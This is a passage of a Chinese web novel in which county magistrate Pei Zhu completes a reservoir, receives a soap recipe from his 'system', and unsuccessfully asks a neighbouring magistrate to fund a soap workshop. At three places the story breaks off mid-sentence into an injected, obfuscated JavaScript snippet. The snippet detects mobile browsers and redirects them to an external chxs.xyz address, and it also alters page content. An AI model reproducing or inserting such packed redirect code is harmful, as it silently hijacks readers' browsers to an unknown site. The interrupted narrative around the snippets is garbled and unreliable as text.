他也不敢继续撩拨讽刺了,再说下去没准又被裴杼给赖上。匆匆回了一句应付,张县令便火急火燎地回去了,本来打算学着裴杼好生跟百姓们打声招呼也没顾得上。 不成,这裴县令脸皮太厚了,他得跟其他县令通个气儿,以后千万不能被对方给沾上。 裴杼这边却觉得张县令还是太内敛,内敛好啊,以后常来常往的,熟悉了,就能开口借钱了。 而此刻京城之中,百官最近都谨言慎行起来。 起因是几天前幽州那边传来消息,胡人秋后南下作乱,意图攻城。虽然幽州上下竭力守城,没有让胡人越雷池半步,但却中了胡人的调虎离山之计,被他们抢走了税粮和钱款。 陛下因西北战事才跟东胡议和,转头东胡那边就打了他们的脸,可见胡人是一点没将梁国放在眼里。 这亏,他们是吃了,但是不能这样不明不白地吃下去。朝廷已经给东胡写了国书谴责,不过那边具体是个什么意思和反应,尚且不得而知。 国书确实已经传到东胡了,东胡大汗跟官员们看完都懵了一下,互相寻问了一番,他们今年没组织人南下啊,会不会搞错了? 一通查找之后,才找到了罪魁祸首。 原来真是自己这边搞的鬼,梁国没冤枉他们。 放出去的几千人,最终回来的不过几百来人,宝日金等还受了伤,如今依然在修养。这宝日金也是个有来路的,他虽然自己身上没有个一官半职,但是家中父兄却都在王廷办事,有个姐姐还是大汗的爱妾。只是他为人好战,时常出去交友、惹事生非,这回才跌了这样大的跟头。 宝日金连日郁闷还不够,今日他父兄竟然过来质问他,是不是私自藏了钱粮却舍不得拿出来。 宝日金:“……?” 说什么胡话呢?他连自己的爱驹都丢了,哪来的粮食? “我拿没拿回东西你们会不知道?”宝日金被问得还有些生气。 宝日金父兄却不信他:“不是你拿的还能是谁?梁国那边写了国书来问责,说是咱们的人偷了永宁县的粮食钱款,还意图攻城。今年秋天也就只有你们南下了,这粮食,肯定也落在你们手里。” 宝日金愤然而起:“胡说八道,这是污蔑!” 攻城他认,但是这粮食跟钱他绝对不认!本来打输了仗就已经够可耻了,到头来还要担一个莫须有的罪名,凭什么? 宝日金咬牙,脸色都开始扭曲了:“这定还是那些梁国人监守自盗,如今却都推到我们身上,真是可恶,可恶至极!” 父兄二人对视一眼,欲言又止,这家伙是打死不认了,其实不认也是好事:“得了,反正大汗也没怎么看得起梁国,更不打算追究这件事情,只是回了封信略表歉意。这事儿到此为止,不过你下回还是安分点,这两年别出门了,今后做事也别这么顾头不顾腚,收尾总得收干净些。再叫人拿捏住了把柄,大汗也保不住你。” 好样的,宝日金听着这番话便知道他们没相信,心中越发怄得慌,他真没做,真的不是他!想他宝日金嚣张跋扈,何曾受过这样的屈辱? 最可气的是,不仅他父兄不相信,连跟着他出去出生入死的兄弟们也不相信,还有那些伤亡的家属,那些人竟然光明正大的集结起来找他要钱、要粮,让他不要私吞。 私吞个屁,根本没有的东西,谈何私吞?宝日金险些被他们蠢死。 这都是梁国的阴谋,他们竟然还真相信,有这么蠢的人吗?梁国,永宁县!他宝日金与他们势不两立! 但宝日金的否认,根本一点用处也没有。 消息越传越真,最后跟着宝日金南下扫荡的那些人也有点恍惚了,难道真的是他们做的? 13.奖励 梁国地域虽广,但无奈周边势力太多,对外便有些力不从心。东胡向来待梁国便不大恭敬,这回即便自家人犯了错,也是一封国书便轻飘飘地应付过去了。 道个歉服个软,甚至不用付出什么实质性的赔偿,反正梁国也不能拿他们怎么样。 但是这事毕竟是自家做的不地道,于是大汗便让官员约束一下底下的人,都收敛一些,不到艰难时也就不必下去抢粮食了。 这话别人肯听,宝日金却半点听不进去,他下定决心跟梁国势不两立,不,准确来说是跟永宁县。 待东胡的回信传入京城后,满朝文武再次噤声。 东胡这做法,无异于是在梁国的脸上狠狠抽了一巴掌。可他们却说不出要制裁东胡、找回场子的谏言,为了北方那些蛮夷,梁国已是分身乏术,匀不出兵力来对抗东胡。如今受了点委屈,也就只能忍着。 从一众皇子中杀出重围、顺利登基的齐霆面对此境况时,除了愤懑,便只剩下无可奈何了。明知道情况不利于自己这边,朝中官员为保守起见肯定也不敢多言,可齐霆却总是思绪飘忽。 若是太傅尚在,若是大将军还活着,若是那些人都没有被清算,是否就不必看胡人的脸色了…… 这念头刚起,便被齐霆无情地掐断了。 想这些无济于事,已经背叛他的人根本不值得留恋。他已登基三年,身边缺不了文武双全之人,待他们成长起来,何愁没有人顶替太傅等人的作用?这偌大的朝廷,偌大的梁国,难道缺了他们就不省事了? 朝中的重心仍旧放在西北这边,东胡之事甚至没有掀起任何波澜,不过刘岱身为幽州太守还是被牵连了。 奏事失职,被笞四十,余下州衙官员也都各笞三十。虽然打得并不严重,不过就是走个流程,但是太伤颜面了。 刘岱被打之后,好几日都独坐屋中不愿见人。他自任幽州太守之后便是地方上的头把交椅,向来说一不二,如今却因为这点子事被朝廷责罚,面子上着实过不去。 杜良川也一样,他比刘岱脾气还暴些,这几天一点就着,已经痛批了好几个不会办事儿的蠢蛋了。 这档口,偏偏还有人不长眼,又过来说些有的没的,挤兑永宁县县令太过高调,言语中还暗示州衙做事不地道,借给永宁县那么多钱却没有借给他们。若不是永宁县白得了这笔钱,也不能够如此嚣张,更不至于将他们各县都给比下去。 本来他们是不用出钱修那破河渠的,现在可好了,永宁县给了钱他们也不得不给。各家也都不富裕,若非裴杼没事找事,他们年底也能多留一笔钱。 “比比比,就知道比,真是一群猪脑子!”杜良川正好无处发火,如今找到了借口,立马提笔,挨个写封信,将所有县令都痛斥了一顿。 让他们分忧做不到,没事儿跑来气人的本事却不小。再唧唧歪歪,今年一并都给他们打个差等考评! 一通火发下去,各县瞬间乖觉。 只是裴杼有些不舒服,他是无辜的,为什么杜大人还写信将他也骂了一顿? “我什么都没干呢。” 翌日,裴杼对着过来监工的张县令小声蛐蛐。 张县令“呵”了一声,他什么都没干?他干的事情还少吗?就是因为他惹出了这一摊子的事,才害得他们都挨了批!话说起来,最无辜的那个明明是他才对,他都没跟州衙抱怨却也被战火波及到,挨了一顿莫名其妙的骂。 他多冤啊…… 裴杼抱怨过后还在好奇:“对了,张大人为何这两天忽然来得勤快了,可有什么我不知道的缘故?” 其实不止是张县令,其余各县的县令也都过来探了一趟。但因为离得远,来回不大方便,只是匆匆看过做了一番亲民的姿态便又回去了。 “还能为何,因为闲的。”张县令隐晦地朝着裴杼翻了个白眼。 不花钱也就算了,花了钱自然得看看修得如何。另外,这功劳也不能只被永宁县这些人给占了,他们也得分一分。只是每次过来都会碰到裴杼,且裴杼那厮看到人还喜欢往前凑,不熟也能找到话来聊,跟狗皮膏药一样,这一点让张县令尤为不爽!若是没有裴杼就清静了。 裴杼没感觉到张县令的排斥,就算感受到了他也觉得无妨,交朋友吗,多处处就融洽了,他有自信能够得到张县令等人的喜欢。 十月一过,天气骤然变冷,等到了十一月后更是严寒刺骨。今年不仅年成不好,冬天也比往年难捱,幸亏当初裴杼让县衙将各处的房屋都给修缮了一遍,否则只怕要冻死不少人。 水库工地上每天都有热水供应,中饭、晚饭的时候还特意支起火堆取暖。绕是如此,还是冷,裴杼出门一趟必冻得鼻梁通红。 但再冷他也要出去,心里急得跟什么似的,生怕工期赶不上。他也想多招工,但是永宁县青壮年都在这里了,挤不出更多来。没办法,县里人口不够就是这么窘迫。 要是能天降一批人手就好了,裴杼默默祈祷。 王绰直观地感受到了裴杼的急切,他有些不解:“大人,这河渠一定要三个月内完成吗?” 裴杼重重地点了点头:“对,一定要。” 否则他也不知道会发生什么,系统什么都没说,也什么都不知道,靠着他自己摸索实在太难了。 王绰听罢,忽然又问:“那大人在乎在各位县令那儿的名声么?” 裴杼一头雾水:“要那玩意要做什么?” 在自己家里有点名声就行了,至于外面,裴杼还真不怎么在乎。 裴杼觉得王师爷挺神秘的,当然也很厉害,他这么问必然是有法子,裴杼鼓励道:“师爷您想做什么只管去做,不必顾及我,只要能将工期提前就成。” 王绰心中有数了,也不知他跟魏平是怎么吩咐的,反正第二天魏平就又独身前往各县衙商谈了。 两天过后,各家县衙捏着鼻子又送了几千人手过来干活,这一片山脚下密密麻麻的,都是人。如今等于是集五县之力共同修建水库,场面一时间颇为壮观。 裴杼高兴坏了,怎么一下子来这么多的人?难道其他几个县的县令都良心大发了?正好张县令也在,裴杼于是屁颠屁颠地上前询问。 张县令却一直臭着一张脸,以为裴杼还在装模作样,哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053777|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声:“你想延误工期,这是痴人说梦!” 裴杼:“……?” 他啥时候想延误工期了,分明他比谁都要着急。 张县令也没解释,自顾自地道:“无论如何,这河渠务必要在年底修好!” 义正言辞,掷地有声,一下子就说到了裴杼的心坎里去。他上前,亲切地握住对方的手:“张大人,万万没想到您竟然如此贴心。” 张县令气地笑了出来,真会装啊,若不是他派人去各处县衙商议过,自己还真要被他给骗了过去。 就在前两日,魏平骤然登门,同他们商量这工期能否稍稍往后延一延,最好拖到明年春天。魏平循循善诱,态度比上一回不知好了多少。这一来,今年裴杼走马上任,与上一任陈县令的政务才交接好,二人之间的政绩划分也不是很明显。若是河渠在年底前完成,旁人兴许还以为这中间有陈大人的一份功劳。 这二来么,永宁县县衙还想借着这同一件事再找州衙多借一笔钱,望其他各县能够成全。 成全?成全个屁! 张县令如今望着裴杼那张脸还觉得心里膈应。这人年纪轻轻的,还未及冠,心眼儿怎么能黑成这样?他们刚被州衙训斥,人家杜别驾都威胁拿年终考评威胁他们了,要是再没点功绩撑着,他们还有何颜面亲上峰网开一面?这河渠虽然不是在他们县境内,但也算是他们的功劳。裴杼想独吞,根本不可能! 至于永宁县想捞钱,那就更不可能了。裴杼想要州衙托底,可他们却难借到钱,工期越是延长,他们花的钱越多。长痛不如短痛,还不如一步到位。 张县令估摸着,其他诸位大人也是这么想的,否则不会巴巴地将人送过来。 说来说去还是裴杼那小子太狡猾,这回他们是吃了大亏了。 各县城送过来的人犹如及时雨一般,瞬间抚慰了裴杼焦急难耐的心绪。更难得的是,这些人都用不着他花钱。果真远亲不如近邻,跟其他几个县打好关系还是有必要的。 因有这些人助力,又有几个县令反反复复地盯着,河渠开挖进展神速。 众人又热火朝天地干了一个多月,终于在三月期限的最后一日,即将完工。两万多名百姓停下锄头,等着永宁县的人验收,若是他们觉得各处妥帖不出错,那这河渠就算是彻底成了。 蜿蜒而下的潮白水河畔忽然多了一处天坑,四周山峦起伏,宁静安详。虽然未曾蓄水,但是裴杼已经可以想象明年这片水域蓄满水将会是何等风光。 站在山顶俯瞰,裴杼心中涌起一股难以言表的成就感。 熟悉的提示音再次响起,裴杼回过神,发现第二项任务俨然完成了,“水到渠成”成就奖励已发放。 这回掉落的奖励袋有两个,二选一,一个貌似是种子,具体是粮食作物还是经济作物不得而知;另一个,似乎是什么赚钱的方子。 系统给的应该都是好东西,说实话裴杼两个都想要,但眼下却不得不作出取舍,拿一个永宁县最需要的东西。 最缺什么,就得拿什么。 裴杼陷入了挣扎,犹豫许久之后,终于伸出了手。 14.香胰 匣子打开,里面躺着三张漂亮的洒金笺。一张写着玻璃方子,一张则是茄皮紫釉瓷器,最后一张仿佛是送的,不过是个香胰方子。 确实都是能赚钱的好东西,尤其是前两者,若是造出来,卖价肯定高得离谱,光是想想都觉得钱途无量。可惜玻璃太扎眼了,弄出来也保不住;紫色瓷器工艺高不说,还得引入一种叫珠料的钴土矿,短时间内想必是弄不过来的,先待定,等有了渠道再试一试。 永宁县一穷二白,眼下只能选择建个香胰厂了。香皂这种东西,裴杼上学的时候就做过小实验。当时做的简单得很,不过这道方子的原药却十分丰富,不仅有各色中药,还有许多香料,密密麻麻的配方,看得人眼花缭乱。但究其根本,仍旧还是最简单的皂化反应罢了。 裴杼又想起了已经消失不见的另一个小匣子,心中不免遗憾,不知那里面是什么。但眼下当务之急是赚钱,有了钱,才能做更多的事,裴杼只能寄希望于下回完成任务还能看到种子选项。 让他瞧瞧下一个任务是什么。 嗯……兴建工厂一座,完成“琳琅满目”商品成就,任务时限,三个月。 裴杼握着方子笑了笑,系统安排的任务接应得还挺顺畅,真是一点没让他闲着。 从山顶一路往下,沿着水库边缘转过一圈后,裴杼等人也没看出任何不妥,王绰也仔仔细细看过,这水库他已经推演了无数遍,不会有错的。 两万多工人还在旁边等着,裴杼知道他们着急回去,赶忙宣布今日正式完工,将剩余的钱发下去,并将早已煮好的粥端了上来。 为庆贺今日完工,裴杼特意让人拿了九百多斤的腌肉切好运过来,虽然不多,但是每个人都能分到几块。 水库未来是否能够缓解洪涝他们不得而知,反正目前来看只是个大坑,百姓在此挖了这么多天也没有多少真情实感,但是眼前的肉却是真的。众人没想到今儿还能有口肉吃,打饭的时候欢天喜地,等聚到一块儿的时候还在比谁分到的肉大。其实都差不多,但是谁让他们许久没吃到肉呢,没话也要找话聊。 “先前还以为永宁县小气,原来只是没到大方的时候,今日的粥格外厚实,还有这么多的肉,眼睛都不眨一下就拿出来了。” “这些天苦是苦了点,但是好歹能拿到钱,也算是意外之喜了,今年也能跟着过个好年。”他们是隔壁安平县的,安平县虽然没穷成永宁县这般,但是在其他几个县中也算是垫底的,贫苦百姓们的日子也不大好过。 “是说不是呢,哎?我这几块貌似还是腿肉,吃着真是香,咸津津的,这得花多少盐啊?” 无独有偶,过来看热闹的张县令也在问这事儿。如今盐价也不低,裴杼哪儿弄来这么多的盐? 郑兴成冷笑。 裴杼摸了摸脑袋:“上任陈县令治理有方,衙门库房里剩的。不过现在也没了,都用光了。” 张县令狐疑:“那陈大人还真的挺会攒。” “谁说不是呢。”裴杼眼神直往两边瞥。 郑兴成冷笑的声更大了,什么衙门里剩的,分明是裴杼抢去的!陈大人同他好不容易弄来这批盐,准备年末转手卖个大的,结果还没赚到钱就被裴杼给查到了,不由分说给霸占了去。嘴里还冠冕堂皇地说是为了他们好,免去他们触犯国法、来日被清算。 郑兴成如今想到这事还气得心口疼,这裴杼同他天生犯冲!自从裴杼过来之后,占了他多少好东西来着?他都数不清。 盐的事裴杼不愿意多提,又将话题往水库上面绕。如今没有蓄水,这水库还差点意思,等到来日蓄上了水必能成为幽州地标。届时他再起一个不同凡响的名字,还怕没有文人墨客过来写诗诵词么? 振兴永宁县的事业蒸蒸日上,裴杼一高兴,直接凑到张县令跟前道:“如今河渠完工,还得多谢诸位县令大人帮衬。永宁县虽然不富裕,可做一回东道的钱还是有的。不知张大人近期可有空闲,我再约了其他诸位大人,咱们一道聚一聚?” 说起来,大家还没坐下来好好了解一番呢。 张县令挑眉,看傻子一样盯着裴杼:“你想造太守大人的反?” 一个穷鬼县衙还想做局请其他几个县令吃饭,叫刘太守怎么想?果然初出茅庐的就是没脑子,什么话都敢往外头蹦:“这话别再提了,叫州衙那边的人听到不定怎么想。” 裴杼哼哼两声:“那就等到蓄水那日请太守过来题词,到时候大家都在,聚一聚不就合规矩了?” 张县令不懂他为何对聚餐如此热衷,有什么好聚的?他可听说了,三月前杜大人去永宁县查案,永宁县就拿些粗茶淡饭招待人家,可把杜大人给嫌弃得不行。有了前车之鉴,张县令对永宁县的招待的饭菜提不起一丝期待。 但是直接拒绝不好看,张县令淡淡地道:“你能请的来太守大人再说吧。” 真以为太守大人这么好请? 裴杼觉得试一试也无妨。 散场之后,数万百姓成群结队地离开水库,外头虽然冷,但是想到今冬赚到的钱,连脚步都轻快了许多。永宁县县令说今年春后这里才会蓄水,那他们就等到那时候再来看一眼。 裴杼也跟着众人一道返程,通往永宁县城的是条曲折的小路,一遇上雨水天气便泥泞不堪,裴杼走着也觉得难受。但这只是一时的,等到他赚了钱后,无论如何得先将这条路给修了。 说起赚钱,裴杼又想到了自己怀里揣着的方子,心中登时火热一片,谁都不能阻止本大人发家致富! 回了衙门后,裴杼立马召集众人开始盘账。 他以为衙门账上应该还剩一笔,至少可以撑到他建造一间简易的作坊,并且将第一批的原材料置办齐全。但一通盘算之后,裴杼沉默了。 “不应该啊……”这回州衙给的钱不是挺多的吗?裴杼费解。 郑兴成坐在那儿便是一阵阴阳怪气:“怎么不应该了?裴大人每日两顿地伺候着那些短工,还比照市价给他们发钱,衙门又采买了不少修筑河渠所用的东西,三个月花费如流水一般,能剩下来几个钱才见鬼呢。” 张如胜紧随其后:“这仅剩的钱也不能动,衙门日常开销、官吏吃饭俸禄都得从这里出。” 少了谁也不能亏了他们的嘴,张如胜坚持为自己的利益争取。 裴杼还不相信,趴在桌案上仔仔细细又算了一遍,很可惜,确实所剩无几了。按理说不该花的这么快的,这中间采买肯定有人捞了不少油水。 剩下来的这笔钱别说建一座工坊,能将原料买回来都够呛。裴杼也意识到自己花钱可能没个规划,嘀咕道:“早知道就找个人专门管账了。” 不管是他还是王绰,亦或是只会挑刺儿的郑兴成,都不是专门管账的人。 郑兴成啧了一声:“心里没成算,找谁都没用。” 管账啊……王绰脑海里忽然浮现出一个人影,她倒是挺合适的。 魏平却突然问:“大人要钱是有什么打算吗?” 裴杼也没瞒着他们,这里要么是他的人,要么是被迫绑在他这条船上的人,尽管暂时还没团结一致,但是遇到事情还是可以商量商量的:“我打算新建一座工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057222|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊。” 郑应成带着明显的轻慢:“工坊?屠宰坊还是养猪坊?” 裴杼扫了他一眼,强调:“香胰工坊!” 郑应成就看不上裴杼这股轻狂劲儿,还没学会爬就先想着跑了,也不看看永宁县如今是什么模样,兜里没点钱不说,还欠了一屁股的外债,结果这厮不想着节流,整天不是想做这个就是想做那个,早晚要把他们给掏空。 郑应成可不像另外那两个人一样惯着裴杼,挑明了说:“咱们县里就这个情况,大人若有本事弄不出来钱,那我也没什么好说的。只有一样,这里的钱动不得,否则底下的人一旦闹翻了天,大人可别嫌面上难看。” 不用就不用,有什么了不起的? 账上没钱,裴杼转头就将心思打到那点宝贝金银矿上,三个月的时间不长,得赶紧将金银挖出来置办东西了。至于这笔钱的来路,等偷偷挖出来之后,再想法子搬到明面上就是了。 犹豫只会一事无成,无论三七二十一先做了再说,这是裴杼的人生信条。可还没等到裴杼吩咐魏平,永宁县衙忽然来了一位不速之客。 州衙派了一位新师爷过来。 “属下赵炳文,奉太守大人之命前来相助!” 来人中等个头,相貌也平平,不说话时嘴巴拧成了一条直线,尤为严肃。 郑应成心中一喜,此人多半是刘太守的亲信,虽不知过来究竟是何目的,但是与他交好总归是错不了的。而且有州衙的人在,裴杼再想只手遮天胡作非为,可就不能够了。 郑应成仿佛是见到了亲人一样喜不自胜,可裴杼却笑不出来,他委婉劝退:“太守大人派你过来是为了修河渠一事吧?亏得太守大人时常惦记,河渠如今已经完工,你还是赶紧回去给太守大人复命,免得大人再惦念。” 赵炳文却耿直道:“太守大人没让我回去,叫我今后都留在这儿给您分忧来着。” 裴杼:“……” 大可不必。 一旁的郑应成嘴巴都要笑烂了,活该,让这厮最近这么张扬,还把主意打到州衙头上,刘太守岂能不治他? 三两步握住了赵炳文的手,郑应成满脸堆笑:“多亏太守大人费心,我先带你下去安置。” 在郑应成与张如胜地关怀之下,赵炳文连夜住进了官舍。 裴杼总感觉此人是冲着他来的,等到了第二天,这一猜想得到了充分证实。 那赵炳文一双眼睛仿佛长在他身上似的,裴杼去哪儿他去哪儿,看得人心中恼火。不仅如此,裴杼还发现了他午后不知在纸上悄悄默默地记下了什么。 这是准备告状,可他还没做什么吧? 赵炳文可一直记着大人的吩咐,让他务必看好裴县令,一举一动都要向上汇报。赵炳文做事一板一眼,太守大人让他看着,他就得看着严严实实。 裴县令跟郑县城疑似不和,记下。 裴县令心急如焚,似乎有大事要办,记下。 裴县令身边那个姓魏的还瞪了他一眼,这个更要记下! 没有什么能逃得出他的法眼! 短短一日,便让裴杼心力交瘁,有这么个人在身边盯梢,许多事情都做不了,尤其是挖矿。一旦裴杼吩咐下去,早晚得露馅,那这挖出来的东西肯定是要上缴的。 裴杼可舍不得便宜了别人。 但任务在即,他总得想法子先把工坊给建起来,到底从哪儿弄来钱呢? 埋头叹了好一会儿的气,绞尽脑汁的裴杼忽然拍了一下脑门,灵机一动。 有了,怎么把他给忘了?! 15.游说 “我就这般像极了冤大头?” 安平县的最大的茶坊中,恰逢休沐的张县令与裴杼分坐两端,王绰与张县令的下属在旁陪同,后面还有个甩不掉的赵炳文,时刻不忘监视裴杼的一言一行。 张县令本来不想来这一遭的,好不容易得个旬休,谁愿意浪费在这等破事儿上?先前永宁县的人过来请时他便拒绝过一次,奈何永宁县的人脸皮忒厚,怎么撵都撵不走,张县令生怕被他们给缠得没完没了,只能耐着性子过来吃盏茶。 本来他还能心平气和地跟裴杼说上两句话,直到裴杼图穷匕见,请求他出钱修什么香胰工坊。张县令气笑了,他看着有这么好骗? “大人稍安勿躁,我今日可是带着十足的诚意同您商议的。”裴杼看他一听到钱就炸毛,赶紧给他又斟了一盏茶,还将桌上的果子往他面前推了推,笑得一脸讨好,“您先听听我的工坊策划再做决断如何?我还带了做好的香胰子,虽然时间紧来不及做什么模型,但是功效却在这儿摆着,您先用用再说。” 张县令没好气地移开了眼,冲他再谄媚也无用,张县令只有一句话:“用不着,安平县没钱,你去找别人吧。” “别啊,旁人哪有您合适?安平县距永宁县最近,往来最为便利,况且诸位县令中,也就只有咱们二人交往甚密、关系最亲。” 张县令快要听吐了,赶紧打住:“套近乎不好使。” 他起身,不等裴杼拉他便先迈出步子,顺带给自家属官使了个眼色。 再不走就走不了了! 属官立马心领神会,拉着张县令的手,“噌”得一下就跑没了影。 裴杼:“……” 用不着这么快吧? 他望着手里的香胰盒子,懊悔自己晚了一步,早知道先不解释那么多,直接将香胰子摆上就好了。 王绰看出了裴杼的遗憾,安慰道:“张大人不愿意花钱,您便是先将香胰子摆上来也无用。” 裴杼岂能知道是这个理?但他还是不愿意放弃。 州衙派了赵炳文这么个倒霉玩意儿在身边,肯定是不愿意再借钱的;至于永宁县里富户,自个儿都没几个钱更不用说借给他了。郑兴成也防他防成贼一样,他只能在几个县令头上下功夫了。 最合适的就是张县令,可惜张县令连听他将话说完的时间都不肯给。 这日回去之后,裴杼不出意外地遭到了郑兴成的嘲笑。在裴杼决定去请张县令时,郑兴成就泼了一盆冷水,如今见裴杼不声不响地回来,便知道果然不出他所料。这要是谈成了,以裴杼的性子还不得尾巴翘到天上去? 裴杼也不气馁,一声不吭地回了房,跟魏平两个连夜雕了一个精致的牡丹模板,用仅剩的原料用弄了一块香胰。 香喷喷的,还比头一块精致呢,叫人忍不住想来上一口。 第二天天还没亮,裴杼便叫成四套上牛车,急吼吼地赶去了安平县县衙。 赵炳文压根没想到裴杼会走得这么早,等到照常起身准备继续盯裴杼时,人已经没影了。 一问周围人,王绰礼貌但疏远地表示不知情,魏平直接翻了个白眼,只有郑兴成笑眯眯地回了他:“还能去哪儿?自然是去安平县,咱们裴大人可是个不撞南墙不回头的。” 这话可说错了,裴杼即便撞了南墙他也死不回头,他一直是个热情开朗的犟种。 张县令看到裴杼找到县衙来时,早上轻松愉悦的神色顿时一变,想笑脸迎人都笑不出来。 “你怎么又来了?”张县令态度冷淡,甚至都没叫人上茶。 裴杼一点儿都不在意被冷落,眉眼带笑地上前寒暄,还跟安平县的县丞等人都问了一声好。 其他人也知道这位裴县令坑了他们不少钱,但是伸手不打笑脸人,况且人家远道而来也算是个客,他们只能陪着扯些有的没的。 聊了一会儿,张县令真不想招待了,挥手打发了其他人后便开门见山地道:“裴大人若还是过来要钱的,就请回去吧,安平县真的挤不出半点钱了。” 裴杼没有被击退,仗着张县令没有立马赶他走,还熟稔地凑到他的桌案前:“哪里是要钱?分明是合作,是双赢!” 说完裴杼便从袖子里取出做好的香胰子:“这便是我说的香胰,可供洗涤之用,兼具美白润面之功效。” 香味扑鼻而来,似饴糖清甜,又似腊梅馥郁芬芳。张县令往下看时,只见手掌大小的一块鹅黄色香胰躺在木盒中,虽未上手,已然能感受到其油润细腻。 这估计跟他夫人平时洁面洗头用的澡豆差不多。澡豆这东西面世的时间不算长,制作也简单,不过是用猪胰、白茯苓、白芷、蒿本等物捣和均匀,再团成豆粒状。此物最初只是佛家在用,后来传入宫廷后才名噪一时,成为贵族家中不可或缺的洗涤用品。 澡豆做法是简单,但毕竟要用到油脂香料等物,价格昂贵,因此只有达官显贵之家才会常备。至于平民百姓,自然用不起这奢侈的东西,多是就地取材,北方靠皂荚树,南方则依仗无患子,若都没有便是淘米水了,寒碜是寒碜了点,倒也能用。 张县令伸手拿起,在手中摩梭两下。 裴杼立马强烈推荐:“张大人要不试试?用完之后还能手有余香呢。” “此物也是用猪胰制成?” 裴杼不愿意这么快透底:“大人愿意合作的话,方子我也可以毫无保留地拿出来。” 张县令放下了香胰,猜测原料中哪怕没有猪胰应当也有油脂,造价不低,用途也跟澡豆没什么两样,不划算。至于什么美白润面、香不香的,他一个大男人也不感兴趣。 一介父母官,掺和商贾之事终究不好听,张县令迟疑片刻,最终还是撂下了话:“裴大人,这东西虽好,但无奈安平县如今年景艰难,绝对不会掺和此事,你再来多少趟也是白费功夫。” 说完不等裴杼反应,便起身道:“我还有一桩案子要审,便不送裴大人了,今后大人也不必来此费心了。” 没想到会被这么直截了当地拒绝,爱打直球的裴杼跟着站了起来,神色窘迫。 这香胰子明明这么好,而且他还做了这么久,张县令竟然避之不及,连用都不愿意用一下。 他真的不讨喜吗?但怎么可能呢,他分明是整个福利院最讨喜的孩子,从小到大都是。 人在尴尬的时候,小动作便格外地多,裴杼收了几下没将香胰收好,最后被自己蠢笑了,开始垂头丧气起来。 张县令看着,忽然觉得上门要钱的裴杼也没有那么可恶,甚至还觉得自己方才拒绝得太过,遂道:“裴大人若实在想与人合作开作坊,槐县富裕些,你去槐县碰一碰运气吧。” 槐县?离得太远了。裴杼叹息了一声,明白今日是真的没得商量了。 香胰他也没收,直接塞进了张县令手里:“这一块就留给大人先用着吧。” 说完便离开了,生怕张县令连这一块都不愿意留。 张县令望着手上这块精致得不像话的香胰,也没心思用,他一个糙汉子,欣赏不来这种东西。不过好歹是人家送的,张县令也不能随便一丢,于是叫来小厮,吩咐道:“拿去给夫人用吧。” 小厮一脸迷糊:“大人,这是何物?” “洗手的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061965|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”张县令回得言简意赅。任凭裴杼说得天花乱坠,在张县令眼里,这也就是个洗手的东西,跟无患子、淘米水什么的没什么两样。 出师不利啊,连着两次都这样,裴杼回程时一直在唉声叹气。 安平县这边的路况尚可,等过了永宁县界碑后便开始颠簸了,叹一口气能颠出几个抑扬顿挫的音调,裴杼扫兴得连气也不想叹了。 虽然都不算富裕,但是永宁县到安平县跟前连边都没有。路就不说了,进了县城后的商铺也远不及对方,至于百姓的穿着更是比不上,街上连牛车都少见。 快到县衙门口时,还有个小姑娘不小心撞到了裴杼怀里。 她一抬头,见是裴杼还甜甜地笑了一下。 后面的汉子见状赶忙上来斥责,裴杼好脾气地冲他摆了摆手,将孩子扶起来,摸了摸她的头:“下回小心点。” 余光瞥见女孩儿头上的发绳已经褪色了。 裴杼没有推开,小女孩儿便大着胆子抱住了裴杼的胳膊,念念不舍地深吸几口气:“大人身上香喷喷,真好闻,像是糖的味道。” 小孩儿对糖都有着深深的迷恋,尤其是从小到大甚少吃糖的小孩儿。 裴杼愧疚不已,要是真的有糖的话还能分一块给她,可惜穷得叮当响的裴杼身上什么也没有,他解释道:“不是糖,昨儿做了一块香胰子,大抵沾上了味道。” “香胰子是什么?”小姑娘歪着脑袋发出疑问。 “跟澡豆是一样的东西。” 小女孩更茫然:“澡豆又是什么?” 裴杼想了半天,最终也跟张县令一样,为了便于理解找了个最朴实无华的说法:“洗手的东西。” “哇!”小孩儿高呼,“洗手的东西,跟皂荚一样么,竟然还能这么香?大人真厉害,真么香的东西都能做出来!” 永宁县的百姓对裴杼莫名的信服,孩子们耳濡目染也都格外崇拜裴杼。况且裴大人长得好看个子又高,身上的衣裳干干净净的,说话总是和声细语,是个孩子见到他都想过来牵一牵手:“等我长大了,也要像大人这样厉害。” 裴杼噗嗤一笑,那股莫名的自信仿佛又回来了一点儿,揉着她的小脑袋:“会的。” 边陲小镇的孩子也不一定就得贫困拮据。有朝一日,他定会让这里的孩子都用上香胰子,也都能吃得上糖果,更会让他们远离战火、识文断字、安乐无忧地长大。 